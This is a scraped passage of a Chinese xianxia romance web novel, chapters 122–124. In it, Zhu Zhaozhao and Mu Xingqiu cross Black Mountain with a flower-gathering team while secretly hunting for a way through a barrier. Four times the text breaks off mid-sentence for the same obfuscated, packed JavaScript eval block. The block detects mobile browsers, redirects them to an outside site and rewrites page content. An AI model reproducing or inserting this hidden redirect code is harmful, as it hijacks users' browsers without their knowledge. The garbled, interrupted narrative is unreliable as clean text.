没事人一样将手里的苦根粉分发出去,慕行秋和祝昭昭精神传音的同时,身形也跟随众人的脚步变换:“这就是陆小姐给你安排的护卫?” “比起这个,我比较好奇你在刘友身上动了什么手脚,才能让血荆棘攻击他以及——” 眼睁睁看着自己和慕行秋的距离,一点点‘被迫’压缩到仅有一拳之隔,祝昭终于昭忍无可忍:“你能不能别靠我那么近。” “抱歉。” 再次被拿苦根粉的人‘撞’地朝祝昭昭猛靠了个近,慕行秋脸上的笑容堪称无辜:“但这的确非我本意。” 盯着两人之间因为他‘紧急刹车’,才留下的最后一丝距离界限,祝昭昭:“……” 行,算你小子有种。 * 本该凶险万分的噬骨荆丛,随着众人身上涂抹了苦根粉后,就此成为坦途。 这也让提供苦根粉的慕行秋,一跃成了队伍里的‘大功臣’。 “我来此的目的,本是与药童一起采药。” 一边帮受伤的人包扎伤口,慕行秋一边不紧不慢地开口:“所需草药收集够后,我们刚打算离开。” “却在路上发现了许多新鲜的纷乱脚印。” 微笑拒绝了身旁人递来的水囊,他继续道:“加之早晨我去绣坊送药给菁小姐时,正好瞧见他们在收拾残局,便多嘴问了一句,得知你们今天出发来黑山采花。” “是以一见地上的新鲜脚印,我便猜测是你们行进时留下的痕迹。” 这时有人发现了不对:“那慕大夫你的药童呢?” “黑山凶险,加之要药材已经采集好,为了他们的安全起见,我便让他们先行回医馆了。” 慕行秋示意下一个人过来:“你们第一个采集地在何处?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15304622|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言先是一愣,林乾福视线在祝昭昭和慕行秋身上转了一圈:“还要再走大约五里路。” “不过若是慕大夫你担心阿昭,你们现在便回去也可。” 一旁喝水的祝昭昭顿时瞳孔地震。 不是,乾福大兄弟,你懂眼色也不要太懂过头了吧? 叫谁回去?? 怀着‘如果慕行秋敢接茬就让他好看’的心情,祝昭昭眸光朝边上人一转—— “多谢林兄理解。” 慕行秋摇头:“但阿昭是来帮助你们采摘宵语花的,若是我现在就将她带走,岂不是在弃你们不顾。” 林乾福听罢张嘴:“——” “再者如今我们已在黑山深处,” 慕行秋却比他更快:“我和阿昭两人离开,必定不如和你们一行人待在一起安全。” “所以为了性命着想,不分开反倒是最安全的选择。” 听到这,本来还想再劝的林乾福最后叹声:“那就多谢慕大夫和阿昭了。” “是我们该谢你们才是。”微微颔首,慕行秋为最后一位伤者包扎好伤口。 祝昭昭也收回目光,重新百无聊赖地喝着水望着人群。 虽然刚才由于慕行秋出手及时,噬骨荆丛没有对众人造成太大的伤害,但消耗总归存在,加上时间已经不早,于是林乾福决定暂时在此停留一晚。 接过林乾福递来的干粮,祝昭昭边啃,边和慕行秋精神传音:“你赶过来的途中,有没有发现什么可以突破的地点?” 彼时的慕行秋正在往篝火里扔干树枝:“我以为,你会先问我究竟有没有带药童过来。” “那有没有。” “没有。” “……” 她真是多余问这废话。 暗骂完,祝昭昭又从正在烤肉的大哥手里接过烤肉:“我先前走遍集市,都没有找到可突破的地点。早上走的一路也没瞧见。” “会不会比起偏远的黑山脚下,突破口可能在更靠近魔宫的地方?” “有可能。” 婉拒了很快也递到自己面前的烤肉,慕行秋淡声:“但凭我们割裂空间后便下落在黑山附近,证明黑山有能开启结界的地方的可能同样不小。” 祝昭昭托腮吃东西:“所以这就是你跟过来的原因。” 空气安静下来,她没有听到回答。 祝昭昭于是拧眉望向身旁—— 正对上慕行秋的目光。 她警惕:“干嘛?” “那你呢?” 慕行秋慢悠悠地,一字一句:“你觉得,我为什么跟过来。” 现在不就在问吗?! 看似已经在和身边人谈笑的人,实际却在执着于这实在属于无所谓的问题。祝昭昭心情复杂地望向篝火:“……扩大探查范围。” “扩大探查范围?”慕行秋重复。 紧接着承认:“是。” 祝昭昭松口气。 再接着道:“但也不全是。” 祝昭昭一颗心又揪起来。 “你不若再猜猜,还有一个原因是什么?” 祝昭昭顿时只感觉脑瓜子嗡嗡响。 她能不能不猜? 怪异的气氛让人一点点变得焦灼,祝昭昭眨眨眼,突然瞄见放在手边的干粮。 如获至宝般一把抓过来,她准备用它来转移话题。 哪怕脑海里紧接着就浮现出刚才慕行秋拒绝吃食的画面,但她已经顾不上那么多了。 先给再说! 打定主意,祝昭昭先将手里多余的干粮递给慕行秋并趁机和他拉开距离:“吃点。” 再立马准备将之收回:“不吃就算了,我……” 手腕被定住,祝昭昭眼睁睁看着慕行秋拿起那块干粮—— 然后轻轻咬了一口。 再和颜悦色道:“左不过一点五谷杂粮。” “尝尝也无妨。” 122. “我可以碰你么?” 一夜安全。 天刚蒙蒙亮,祝昭昭就被四周渐起的窸窣动静吵醒。 接着睁开眼,她脑海里就响起慕行秋的声音:“他们说稍后按地图继续赶路。” 祝昭昭双手盖住脸:“我知道。” 慕行秋挑眉:“我以为你睡得很好。” 祝昭昭沉默。 她睡得好不好暂且不提,但这计划是出发前就定好的。 所以跟她昨晚睡得好不好,有半毛钱关系? 这些话最后没和慕行秋说,祝昭昭深呼吸抬脸,趁周围没人注意时给自己施了个净身诀:“后五里路没有危险,走起来很快。” 慕行秋不置可否:“五里路之后呢?” “确定宵语花生长地的前提下,任我带路。” 开始收拾落在脚边的东西,祝昭昭继续道:“除了现在要过去的采摘地,我们走的路是唯一的途径。其他采摘地的路,都是凭带队人的经验找的。” “所以你才和陆小姐说你有找宵语花的经验。” 把离自己最近的一个物什递给祝昭昭,慕行秋淡声:“那么你会找吗?” 祝昭昭接过他递来的东西:“首先,我和菁小姐说的是‘我会寻路的技巧’。” “意思是我可以找新的、安全的路。而不是新的宵语花生长地。” “不过这不重要。” “重要的是,”祝昭昭听出慕行秋的言外之意,“说说,你想做什么?” 慕行秋闻言,眼底闪过一丝笑:“你为何如此笃定?” 祝昭昭表面:“因为我们都有同样的目的,而且你比我多了一个更正当的身份。” 祝昭昭内心:因为拿脚趾头想都知道你这个人没憋好*。 “早先我去绣坊时,陆小姐只说你与采花队伍同行,我也并未再问太多。” 瞧见有伤者因动作太大导致绷带渗血,慕行秋示意那人到自己跟前:“而我本以为他们带你,皆因宵语花作为染料,采集后需要绣娘立刻处理妥当。” “却不想你竟是告诉他们你会寻路。” 祝昭昭托腮:“所以?” 慕行秋拆开伤者绷带:“你觉得呢。” 趁他不注意偷偷翻了个白眼,祝昭昭撇嘴:“你也看到了,队伍里有不听话的。” “你如果想让他们听你的,你得自己想办法。” 不过应该也没什么难度就是。 视线落在慕行秋对面的伤者身上又移开,祝昭昭面无表情。 “何为‘听我的’?” 从随身药箱里取出药粉撒在伤者伤口上,慕行秋语调温和:“指路虽可适当走些新路寻地点,但总归来说,还是在那几个生长地徘徊。” “可若是再加上我说,我们可以寻得新的宵语花生长地,便能让我们更方便地寻找突破地点。” 眼睛专注盯着伤者伤处,慕行秋手伸进药箱寻了半天:“然而归根结底,还需我俩合作,才能顺利让寻路之权,完全落入我们手中。” “那么你意下如何?” 实在看不下去,祝昭昭从药箱里拿出绷带塞进他手里:“我说过,只要能搞定不听话的,我都行。” 正好还省事了。 祝昭昭:人淡如菊·jpg “既如此,” 拿到绷带的慕行秋开始帮伤者包扎:“我便当你同意了。” 祝昭昭耸肩,算是默认。 * 将息未息的篝火被土彻底填灭,一众人开始朝目的地赶。 大约两个时辰后,所有人在林乾福的示意下停住脚步。 目光落在远处,林乾福语气难掩兴奋:“过了这条小溪,便可以见到宵语花丛了。” 其他人虽然并未作声,脸上的神色却也和林乾福相差无几,或多或少都带着高兴与松快。 无他,只因他们这次行进的速度太快,快到只用了往常赶路所需一半的时间。 而这一切都归功于谁,众人心中当然也有自己的判断一— “阿昭姑娘、慕大夫,真是多谢你们了。” 突然被点名,正盯着赶路时沾在裙摆上的泥点子郁闷的祝昭昭顿时抬头。 再立刻顺嘴来点客套话:“李大哥此言差矣,赶路快,是因为大家齐心协力,怎么能说都是我和慕大哥的功劳呢?” 李树笑呵呵的:“阿昭姑娘这样谦虚,叫我们多不好意思啊。” 有人应和他的话:“就是,我们虽然是粗人,但好赖还是分的。如果不是阿昭你和慕大夫一路上帮我们,这五里路我们哪能走得那么顺利。” “确实,而且多亏了慕大夫帮我们包扎伤口,否则这次采花回去,我们还要养好多天才能重新接活呢!” “是啊……” “就是……” 赞同和感慨声零零碎碎,祝昭昭听得不太习惯,下意识瞄了慕行秋一眼。 继而愣住。 ‘老’字在最后关头咽了回去,她精神传音:“你看我干什么?” “我只是在想,” 慕行秋收回目光:“你如何找到那些安全的道路。” “毕竟你对黑山并不熟悉。” 祝昭昭顿时半沉眼皮。 说不清到底是该放松于眼前人给出的回答很正常,还是警惕于这个正常的答案有点危险。她望向身旁尚含露珠的叶片:“你忘了,我曾是散修。” “对散修来说,山间寻路这种能力等同于保命手段,我精于此道……” “很奇怪吗?” “倒是你。” 不给慕行秋继续深问的机会,祝昭昭话锋一转,望向正站在最边上的刘友:“你对他做了什么,他今天怎么那么反常。” “我几次改道,按他平常的脾性,早就嚷嚷起来了。今天竟然那么老实,乖乖赶路。” 指尖轻抚下巴,祝昭昭若有所思:“是不是你对他做了什么?” 接过林乾福递来的过河工具,慕行秋快速翻看:“是,也不是。” 祝昭昭:? 本来也不打算含糊过去,慕行秋很快继续解释:“我只是和他说了几句话。” 想起慕行秋赶路中途确实离开自己身边一段时间过,祝昭昭‘哦’了一声:“你威胁他,不听话就让他小命交代在这?” 慕行秋微笑。 没看见预想中的反应,祝昭昭顿觉无趣地耸肩:“拐着弯告诉他,不听话他受伤了就不治他。” 慕行秋温和纠正:“是很难找到合适的药治好他。” 祝昭昭死鱼眼:“……” 行行行,你说什么就是什么。 祝昭昭:看透一切·jpg 两人精神传音的当口,林乾福的招呼声传来:“大家穿好带子,我们准备下河了!” 耳边传来其他人陆陆续续的响应,完全状况外的祝昭昭瞠目。 带子? 什么带子? 眨眨眼反应过来,她有些不满地朝慕行秋伸手:“林大哥给我的带子呢?” 慕行秋也不含糊,直接把手里东西递了过去。 接过被称作‘带子’的东西,祝昭昭将之翻开,仔细辨认了一会儿才明白,这是个麻布做的,腰带模样的东西。 祝昭昭盯着周围人看了半天,试图找出带子的正确穿戴顺序。 然而队伍里的人都是熟手,穿起带子都是三下五除二结束战斗,往往祝昭昭刚看清他们动作,下一秒,他们已经在整理穿好的带子。 祝昭昭:眼睛会了手不会·jpg 看了半天实在看不明白,选择认输的祝昭昭决定找林乾福,让他教教自己。 眼尾余光却在抓起带子将要动起来的时候,忽然注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308282|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到慕行秋。 正在穿带子的慕行秋。 暗忖左不过动手这点功夫,看完再去找林乾福也不迟。打定主意,祝昭昭留在慕行秋身边。 一举一动都仿佛慢放,他不紧不慢地把带子放在腰间,穿引、绑缚,再稳稳将之固定。 最后慢悠悠地开口:“我还需再穿一遍么。” 视线从他腰上带子移到他脸上微笑,祝昭昭盯了半天,最后一言不发地把带子放在腰间。 不过该说不说,慕行秋的现场慢动作教学还是好用。按照他的方式一步步操作下去,祝昭昭眼看就要绑好带子—— “怎么扣不上?” 几次按着扣子使劲却无果,祝昭昭下意识拧眉:“什么情况?” “此物可竖不可横。” 手指伸到近前又停下,慕行秋抬眼问祝昭昭:“我可以碰么?” 想着不就按个扣,祝昭昭点头。 于是指尖蜻蜓点水般触上扣子,慕行秋继续:“若是强硬将之扣起,入水时,则恐水波将之冲散。” “但此物找准方法,系之也算容易……” 慕行秋教得认真,祝昭昭一颗心却根本不在他的话语,又或是腰间带子上。 她怔怔瞧着那双骨节分明的修长手指,在那枚不大的黄铜扣上极尽克制地动作。 不对。 好像哪里不太对。 黄铜扣坚硬,带子穿好后也有相当的厚度,她身上还有衣料相隔—— 可明明已经隔着那么多层布料。 为什么她仍会觉得腰间不时传来细微的,仿佛触电的感觉? 她很清楚自己不是敏/感的人,所以到底为什么。 是错觉吗? 仿佛感知到什么般,腰间黄铜扣上的手,在祝昭昭即将彻底按捺不住那怪异感觉时收回。 慕行秋也站到她身边。 “好了。” 猛回过神来,祝昭昭抿起唇,小声道谢:“谢谢。” 望着明明在和自己道谢,却并不和自己对视的少女,慕行秋挑眉。 但还是好声好气:“那么走吧,去林大哥那边。” 两人几步走到林乾福处。 又刚好碰上他开始安排队形:“稍后我们排成三列,我和李大哥还有周大哥走最前面,剩下的人将带子扣在前一人身上,准备好了就可以过河了。” 林乾福说完,率先和他刚才提到的两个人站成一列。紧接着,众人很快也开始自行组队。 见状也没闲着,祝昭昭目光快速在人群里游移,很快挑中一个看起来相对比较好说话的:“小陈,我与你一起吧。” 被叫做‘小陈’的,是个新加入进队伍的年轻男子,正巧也找不到人组队。 这会儿祝昭昭叫他,他想都不想就点头,朝祝昭昭的方向走来。 再被慕行秋拦在半路。 他朝小陈笑得礼貌:“正巧,我亦与阿昭一起,你便站我身旁罢。” 作为队伍里医术最精湛的大夫,站在慕行秋身旁可谓是划算无比。 于是小陈立刻点头,直接站在慕行秋旁边。 剩下一脸‘发生了什么’的祝昭昭站在两人身后。 直到慕行秋安顿好小陈,再转身—— 朝她伸出手。 “水流湍急,为了防止我们稍后入水被冲散……” “你握住我的手如何?” 瞧了眼他靠近小陈那边的,安静的另一只手,祝昭昭:“……” 祝昭昭:这是在干什么·jpg 沉默半晌,她最后还是把手伸了过去。 再任由慕行秋眉眼弯弯地牵起自己的手,轻轻把自己拉到他身旁。 望着他言笑晏晏的模样,祝昭昭忽然发现自己的心跳不受控制地变得有点快。 真是的,笑什么笑! 123. “用净身诀你早说啊!” 在带子和队形的双重保险下,一行人很快通过了湍急的河流。 一上岸,林乾福就趁着众人整理的功夫顺便开口提醒:“宵语花丛就在前方不远了,大家准备好布包。” 闻声齐齐响应,众人纷纷开始在行囊里翻找。 慕行秋却在这时开口:“林大哥。” 被点到名的林乾福:“怎么了慕大夫?” “我体质虚寒。”慕行秋道,“若是着湿衣太久,恐会引旧疾复发。” 正在喝水的祝昭昭突然呛得连连咳嗽。 慕行秋不为所动:“若是因此耽误大家采花,实在不妥。” 很快听出了慕行秋的言外之意,林乾福有些不好意思:“是我疏忽了,那慕大夫你是想……” 慕行秋答得像是早就想好:“我行囊中恰好备着衣物。” 林乾福神色轻松起来:“那你快去吧,我们就在这等你。” 微一颔首算是道谢,慕行秋抬手拎起行囊:“阿昭。” 好容易缓过来,正在把喷出来的水擦干的祝昭昭:“……?” 望着她瞧着自己的那一脸状况外模样,慕行秋挑眉:“麻烦你与我一起,好替我拿着行囊。” 什么?? 拿行囊?? 祝昭昭听得满头问号。 什么行囊那么珍贵,扔地上谁抢你的?? 谁能抢你的?? 这人没事吧?? 一言难尽地瞧了慕行秋一眼,祝昭昭最后不情不愿起身,跟着他朝离开队伍。 又很快在一个树丛处停了下来。 “怎么不进去?” 见慕行秋站在原地半天不动,祝昭昭故意问:“不好意思进去吗?” 双手环胸斜倚在树旁,她带着些报复的心态揶揄他:“没关系的,他们看不到你换衣服。再说你要是担心被人看,为什么……” “你不难受么。”慕行秋望着她开口。 祝昭昭一愣:“什么?” “我是说,” 随手将行囊扔在地上,慕行秋一步步走向祝昭昭:“涉水过河,身形濡湿。” “你不难受么?” 祝昭昭眼看着他离自己越来越近:“等等,你,你……” “你给我停下!” 慕行秋顿时站定。 满眼警惕地瞧着离自己只有几步之遥的人,祝昭昭问他:“你要干什么?” “不干什么。” 抬手,慕行秋选择用另一种方式靠近祝昭昭:“我只是想……” 修长的手指越来越近,祝昭昭甚至已经能看见那圆润饱满的指甲。 在202撕心裂肺地嚎叫以及抱大腿劝阻下,她强忍住给面前人一个过肩摔的冲动闭上眼。 夹杂着月清花香气的轻风倏地掠过全身,祝昭昭下意识睁开眼—— 正对慕行秋莞尔的目光。 他嗓音隐隐含笑:“看看裤子。” 祝昭昭循声低头,这才注意到已经被净身诀蒸干水分的裤子。 她不自觉出声:“用净身诀你早说啊,我还以为……” “以为什么?” 慕行秋双眼一转不转地望着她:“你以为,我要做什么?” 本该是闲聊般的,让人放松的语气,祝昭昭却敏感察觉到其中的压迫之意。 像是有什么一直被藏起的东西挣扎着,想要破土而出。 “你有衣服换,我可没有。” 低头,切断对视。祝昭昭选择让藏起的东西继续藏起:“一会儿回去了,你准备让我怎么和他们解释?” “而且你根本就没有带换洗衣物来吧。” “是。” 眼底极快掠过一丝黯然,慕行秋爽快承认。 那情绪被掩饰得很好。他直起身,像是什么都没发生过:“再者,我为什么要与他们解释?” 在祝昭昭不解的目光下,慕行秋朝自己身上一点,很快让被净身诀蒸干的衣服换了另一副粗布麻衣的模样。 祝昭昭‘哦’一声:“一会儿你忘了这回事,障眼法掉了怎么办?” “那就劳烦你,记得时刻提醒我了。” 话落,慕行秋笑眯眯地,朝祝昭昭身上一点。 低头看了眼已经变换了颜色的衣裳,祝昭昭欲言又止。 202比她开朗点,直接嚷嚷起来:“诶呀主人,你身上衣服颜色和大反派的那么像的嘛?” “他是不是很喜欢这个颜色啊?” 祝昭昭没接话。 他喜欢这个颜色吗? 也许吧。 但是管他的,谁在乎他喜欢什么。 将某些漫上心口的情绪拍散,祝昭昭耸耸肩,跟在幕行秋身后离开。 * 两人归队后,除了林乾福顺嘴问了一下祝昭昭衣服的事,再没人注意他们。 所有人开始朝宵语花的生长地进发。 采花过程非常顺利,且在摹行秋的帮助下,他们甚至学会了如何更好地保存宵语花,以尽可能减少宵语花在回程路上的损毁。 “宵语花千金难求,一点损毁都是巨大损失。阿慕,你帮了绣坊一个大忙啊!” 林乾福说着,难掩激动:“太好了阿慕,回去之后我一定要和掌柜的说,让他重谢你。” “还有阿昭。” 他转头看向祝昭昭:“多亏你找出来的新路,帮我们节省了那么多寻花的时间。” “回去之后,我和掌柜的提,让你管理绣娘们吧!” “林大哥这是什么话,”志不在此,祝昭昭无所谓他怎么说,“我经验浅薄,怎么能管理绣娘姐姐们。” “但阿昭还是在这里谢谢林大哥了。” 这一句成功将林乾福剩下的话噎了回去,他点点头,重新将注意力转移到面前收拾好的宵语花上。 也因此没注意到祝昭昭垂眸掩盖的,意味深长的眼神。 林乾福自己并未察觉,她却看得清楚。 疗伤、引路、宵语花保存…… 一连串帮助下来,他已经从刚开始客客气气地管慕行秋叫‘慕大夫’,到现在直接换成了‘阿慕’。 林乾福与其他人的欢声笑语里,祝昭昭和慕行秋的视线一瞬相交又收回。 * 根据原本地图记载,队伍常去的宵语花采集地点一共五个。 除了最开始那个需要穿过‘噬骨荆丛’的地点外,剩下的地点之间隔得其实并不算远。 途中却有着不亚于噬骨荆丛的危险路障。 这些本该是队伍夺命阻碍的路障,此刻却成了祝昭昭最好的助力。 凭借噬骨荆丛之行建立起来的信任,五天之内,祝昭昭与慕行秋配合着,在202的探测指引下走完了剩余的四个地点。 顺利采集完宵语花的同时,两人也不动声色地走完了所有他们猜测的,可能藏着突破口的道路。 结果却似乎有些不尽人意。 夜幕降临,众人各自休整。祝昭昭特意挑了棵和人群保持着刚好距离的树,也坐下休息。 然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311934|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而她刚调整好姿势靠上树干,不远处就传来踩踏碎叶之声。 头都不抬地,祝昭昭开始精神传音:“地图上记载的宵语花生长地,我们已经快走完了。” “嗯。” 从善如流地在祝昭昭身旁不远坐下,慕行秋语调平静。 ‘嗯’? 祝昭昭脸上表情空白了一瞬。 ‘嗯’是什么意思? 回神,一言难尽地睨了眼落座身旁的人影,祝昭昭努力让自己的语气听起来比较有礼貌:“他们再过几天,就准备离开黑山。” “我知道。” 慕行秋身侧指尖轻抬,隔音结界随之在两人间降下:“方才他们计划时,我就在旁边。” 差点又是一个白眼,祝昭昭用他的话回答他:“我知道。” 然后接着说:“但寻路到现在,我们还是一无所获。” 出乎祝昭昭预料的,慕行秋居然对此持反对意见:“不算一无所获。” 这引起了祝昭昭的好奇心:“所以你觉得收获在哪。” 慕行秋慢条斯理:“确定了我们走过的那些路,确实没有突破口。” 祝昭昭:“……” 啊。 行吧。 长叹一声仰头靠上树干,祝昭昭死鱼眼望天:“你布隔音结界不怕被他们发现么。” 慕行秋端坐在她不远处:“这群人里不乏有修为的人,无妨。” “他们有修为我知道。” 屈起膝,祝昭昭将手搭在膝盖上:“但你有修为,他们知道吗?” “你在他们那里的形象,难道不是寻常大夫?” 慕行秋表示赞同:“是。” “那你……” “但以他们的修为,不会看出我布下了隔音结界。” “……” 祝昭昭:这人好烦。 生怕这个话题再继续下去,自己会忍不住开始阴阳怪气。祝昭昭托腮,望向边上一地枯叶:“现在怎么办,目前来看,至少宵语花生长地附近,根本没有突破口。” 幕行秋微一颔首:“但黑山很大。” 意思是想说还有其他地方还没走过? 当谁听不懂呢? 祝昭昭对他话说一半的架势表示嗤之以鼻:“你不是刚刚才听到他们准备启程回去吗?” 慕行秋唇角微弯:“我有理由可以留下。” 闻言死鱼眼斜盯他半晌,祝昭昭突然笑得眉眼弯弯。 再双手合十靠在颊边,捏起嗓子:“那太好啦!” “大师兄真是足智多谋算无遗策。” “所以到时候我就和他们一起回去,大师兄你自己在黑山转悠,等找到突破口以后,再通知我过来好不好呀?” 望着少女篝火被篝火点亮的眼眸,慕行秋没有说话。 为什么呢? 张牙舞爪的,像只小老虎。 眼底笑意在一无所察的时候变得更深,他回过神,只答了两个字—— “不好。” 登时气得怒目圆睁,祝昭昭袖子下的手蠢蠢欲动。 当然注意到她的动作,慕行秋忍笑,选择见好就收:“不过我独自寻药的时候,倒是注意到一处异常之地。” 这句话‘解救’了他。 捋袖子的手最后假模假样地转而拍了拍袖口,祝昭昭没什么好声气地:“什么地方。” 看破不说破,慕行秋莞尔:“就在……” 话到一半突然停住,两人不约而同地扭头望向某个地方—— 124. 主人你不跟过去听听吗? “……怎,怎么了?” 望着两道定定落在自己身上的目光,刘友下意识停住脚步:“我是不是吵到慕大夫你了?” 此话一出,祝昭昭移开视线。 慕行秋则唇角微弯:“刘大哥有何事?” “我确实有点事……” 刘友看着慕行秋,余光却瞄着树下屈膝托腮的少女。 因为说话的间隙里他突然意识到,被盯住时那种让他不受控制地打寒颤的感觉,是从那个叫‘阿昭’的小妮子不看自己以后,才悄然消失的。 可是怎么可能? 她明明只是一个绣坊来的,什么都不懂的野丫头。 一个野丫头怎么可能会有那种眼神? 那种他曾经只在刀尖舔血的人脸上见到的,审视猎物的眼神…… 刘友怵然。 而且不知道为什么,他总觉得从那野丫头不看自己以后,慕大夫的态度好像也变了。 变得有些…… 不善? 哪怕他现在正笑着看着自己。 想起自己还有更重要的事,刘友深呼吸,把乱七八糟的想法抛在一边:“慕大夫,我是想问你,这个草药你有没有见——” 说着忽然瞥了眼祝昭昭的方向,刘友犹豫一瞬,还是改口:“慕大夫,你能不能跟我到那边去?” 刘友看不到的地方,祝昭昭动作极轻地朝慕行秋摇了摇头。 于是欲张的唇抿起,慕行秋改口:“自然。” 两人很快离开。 目送两人直到他们的身影彻底消失在视线内,祝昭昭才扭头。 换了个更舒服的姿势,她从边上行囊里摸出一颗果子。 咬下第一口的时候,202的声音也在精神空间响起:“主人,你不去听听那个家伙在和大反派说什么悄悄话吗?” 甘甜的汁水很快随着咀嚼在口中蔓延,祝昭昭享受地眯起眼:“我为什么要去。” “等会儿大反派不告诉你怎么办?!” 闻言顿时一蹦三尺高,202忿忿:“还有那个死家伙,从出发开始就一直针对主人你,到现在还不把主人你当回事,有话还要避开你偷偷说……” “这不是根本没把主人你当回事吗!” 与202的不爽相比,祝昭昭倒是淡定得多。 她像是听见什么好笑的话:“好难得,你这个没心没肺的家伙居然还替我打抱不平的一天。” 202很不高兴:“那我不是担心主人你嘛!” “好好好,我知道了。” 祝昭昭忍笑:“但除了不让我听他说话,其他地方,他不是也没再拿我怎么样了。” “而且避不避开我,他能和慕行秋说的,不就只有那点东西。” 202好奇:“什么东西?” “辨识草药呗。” 祝昭昭又啃了一口果子:“除了这个,幕行秋这个大夫对他来说,还有什么其他作用?” 202恍然大悟。 但还是有点不放心:“可如果不是怎么办,那我们岂不是可能会错过一些重要信息?" “不会。”祝昭昭不假思索。 这架势引得202‘嘶’一声:“主人你哪来的自信这么说。” "我跟他现在是一条绳上的蚂蚱。" 祝昭昭死鱼眼:“如果被困在魔界这会儿他还和我藏话,那我会找机会,让你先检查一下他的脑袋。” 202的目光清澈而愚蠢:“为什么?” 祝昭昭语气平静:“因为他可能采摘草药的时候,试吃草药吃坏脑子了。” 瞬间死鱼眼的202:“……” 死鱼眼与之对望的祝昭昭:“……” “没劲。” 一副调侃失败的败兴表情,202不满:“我还以为主人你会想说,你有自信无论那个叫刘友的说什么,大反派都绝对会告诉你呢。” 祝昭昭无语:“所以你觉得我刚才说那些话的时候,态度还不够自信。” 202急眼:“哎呀,不是那种自信啦!” 顿时只觉得202莫名其妙,祝昭昭反问:“你还想要哪种自信?” 202大爆发:“觉得大反派喜欢主人你那种自信!” 祝昭昭:…… ? 直到这一刻,祝昭昭才是真的懵了。 不是,谁能告诉她这帮人有一个算一个,到底都在犯什么病?? 怎么就喜欢上了? 谁喜欢谁?? 但秉承着‘不关注搭档就是在给自己埋雷’的任务信条,祝昭昭决定再多一点耐心:“你……” 202恨铁不成钢地看着祝昭昭。 语气里多了审慎,祝昭昭拉长语调:“你是不是……” 202开始直勾勾盯着祝昭昭。 祝昭昭一口气:“你是不是背着我偷偷更新系统版本了?” 202:? 她非常不满:“我跟你说过很多次,新系统版本要观察一下再升级,随便升级是要变傻的。” “你看看,傻了吧。” 终于从震惊中回神,202彻底绷不住了。 它先是悲愤呐喊:“你才傻了,主人你才傻了!” 再开始手脚并用地,举例论证自己的观点:“主人你想想,如果大反派他不喜欢你,他怎么会对你做那么多事?” 抱着‘看看这小子能说出什么花儿来’的心情,祝昭昭问它:“什么事?” “就,就是那些事啊。”202急得挤眉弄眼,又在祝昭昭莫名的视线里意识到什么。 最后萎靡下来:“主人你是真的一点都不觉得有问题啊?” 一点都不觉得有问题? 视线从它身上收回,祝昭昭没说话。 如果一开始的确不知道202在说什么,那么听到现在,她其实已经清楚了。 可那又如何? 且不说那些行径完全都可以找到理由解释。 就论现在。哪怕202‘看到’了,也‘意识’到了,甚至和自己说了。 那又能证明什么? 证明他慕行秋对自己人真的很照顾? 那他确实做到了。 至于其他的…… “202,要不这次任务结束后,你让628带你一段时间吧。” 收回散漫的神思,祝昭昭扭头朝向不远处的树丛:“不然你这个什么都往情情爱爱靠的脑袋,我真怕关键时刻你送我个大惊喜。” 202的哀嚎声里,她托腮看着走到近前的慕行秋:“回来了?” 拨开及腰的野草,慕行秋回到一开始的地方坐下:“嗯。” “他给你看的是什么草药?” “霜露藤。” 话落轻笑一声,慕行秋拿起身侧树枝拨弄篝火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323829|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你还真是了解他。” 骤然跃升的火焰带来扑面的热度,祝昭昭下意识靠了靠后:“毕竟他总不能因为修炼方面的事情,来找你这个大夫。” 慕行秋平静点头:“是。” 闻言开始翻行囊找小毯准备盖着睡觉,祝昭昭边翻边继续问:“所以跟他走之前,你说的那个''异常之地''在哪?” “这正是我要说的。” 略微思忖,慕行秋精神传音:“刘友告诉我的,他寻到霜露藤的地方,正是我说的那处异常之地。” 祝昭昭来了兴趣:“这么巧?” “嗯。” 顺手帮停下动作的祝昭昭,找到她行囊里的小毯。慕行秋态度之自然,像是自己本该这么做:“且一开始我向他询问霜露藤的所在地时,他并不愿告知于我。” 祝昭昭接过小毯:“他想独吞。” “但他没有能力独吞。” 